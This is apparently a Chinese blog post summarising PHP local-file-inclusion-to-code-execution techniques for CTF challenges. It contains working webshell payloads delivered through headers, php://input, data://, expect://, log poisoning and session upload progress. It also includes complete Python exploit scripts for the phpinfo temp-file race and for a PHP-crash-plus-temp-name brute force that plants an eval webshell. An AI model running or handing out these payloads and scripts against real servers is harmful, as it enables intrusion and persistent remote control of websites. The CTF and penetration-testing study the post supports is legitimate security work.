LFI to RCE

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

1. /proc/self/environ 利用

条件 :目标能读取 /proc/self/environ,并且网页中存在LFI点

利用方式

  • 修改请求的 User-Agent 为一句 PHP 代码,如:<?php system($_GET['cmd']); ?>
  • 然后访问 LFI 点加载 /proc/self/environ,就能执行那段代码!

小tips

  • 这个文件保存的是进程的环境变量,其中包含HTTP请求头参数
  • 通常需要Apache、Nginx等没有过滤请求头才可以利用

2. /proc/self/fd/X 利用

条件 :目标能读取 /proc/self/fd/X,其中X为文件描述符编号(比如1、2、3)

利用方式

  • 将 PHP 代码注入到 Referer 或报错信息中
  • LFI 包含某个文件描述符,就可以 RCE

区别点

  • fd 是系统文件描述符的软连接,直接指向某些打开的文件流
  • 可以变通绕过 environ 不可读的情况

3. php://filter 利用

目标:文件读取(不是RCE)

用法

复制代码
php


复制编辑
php://filter/read=convert.base64-encode/resource=filename

说明

  • 可以读取任意文件,并以 Base64 返回
  • 不依赖于 allow_url_include 等配置

用途

  • 阅读源码、配置文件、敏感信息~不是直接RCE但常用来辅助分析!

4. php://input 利用

条件

  • 需要 allow_url_include=On
  • 页面使用 include($_GET['file']) 等方式包含

利用方式

  • 将 PHP 代码写在请求体中

  • LFI 引用 php://input 就会执行代码啦!

    POST /lfi.php?file=php://input HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    <?php system($_GET['cmd']); ?>

5. data:// 协议

条件

  • 需要开启 allow_url_fopenallow_url_include

利用方式

  • 把 PHP 代码直接塞进 URL,例如:

    data://text/plain,<?php system($_GET['cmd']); ?>

或者 Base64 编码

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

6. expect:// 协议

条件

  • 需要安装 expect 扩展
  • 并开启 allow_url_include=On

利用方式

复制代码
expect://ls -al /var/www/html

原理 :通过 expect 触发命令执行

7. 日志包含(Log Poisoning)

方式1:SSH 日志

需要有 /var/log/auth.log****的读取权限

  • 连接ssh时输入ssh `<?php phpinfo(); ?>```[@192](https://github.com/192 "@192").168.211.146``
  • php代码被写入 /var/log/auth.log
  • 然后 LFI 包含这个日志文件

方式2:Apache 日志

需要有 /var/log/auth.log****的读取权限

  • 发送请求把 PHP 代码写入 access.log
  • 通过 LFI 包含实现 RCE

注意

  • 日志太大可能超时,返回 500

8. 利用 phpinfo() 泄漏临时文件名

原理

  • 上传文件会被存到 /tmp/phpXXXXXX 临时文件
  • phpinfo() 会输出这个路径!
  • 在文件被删除前包含它,就能RCE~

常用组合

  1. 用上传点上传带 payload 的文件
  2. phpinfo() 泄露路径
  3. LFI 包含它,实现代码执行!

这里要写exp进行条件竞争

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

复制代码
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/g"
                    self.event.set()
            except socket.error:
                return
def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256
def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()
    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

9. PHP 崩溃保留临时文件

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

新版本该漏洞已被修复

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

exp来自LFItoRCE利用总结-安全KER - 安全资讯平台:

复制代码
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
    files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
    try:
        requests.post(url, files=files)
    except Exception as e:
        print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
    print "[+] %d / %d" % (i, times)
    upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

复制代码
# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
    for j in charset:
        for k in charset:
            for l in charset:
                for m in charset:
                    for n in charset:
                        filename = i + j + k + l + m + n
                        url = base_url+"?"+parameter+"=/tmp/php"+filename
                        print url
                        try:
                            response = requests.get(url)
                            if 'success' in response.content:
                                print "[+] Include success!"
                                print "url:"+url
                                exit()
                        except Exception as e:
                            print e

10. 利用 Session 上传进度

SESSION_UPLOAD_PROGRESS 的利用可以看我前面这个文章

原理

  • PHP支持 session 上传进度记录
  • 会将数据保存在 session 文件中,路径一般是 /var/lib/php/sessions/sess_XXXXXX
  • 如果你能构造带有 PHP 代码的 progress 字段内容,就可以通过包含 session 来 RCE!

利用方式

  1. 构造上传请求,添加:

    PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET['cmd']); ?>

  2. 设置 Cookie: PHPSESSID=123456

  3. LFI 包含 /var/lib/php/sessions/sess_123456

11. LFI自动化利用工具

会自动扫描利用以下漏洞,并且获取到shell

  • /proc/self/environ
  • php://filter
  • php://input
  • /proc/self/fd
  • access log
  • phpinfo
  • data://
  • expect://
相关推荐
用户962377954489 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机13 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机13 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544814 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star14 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544818 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全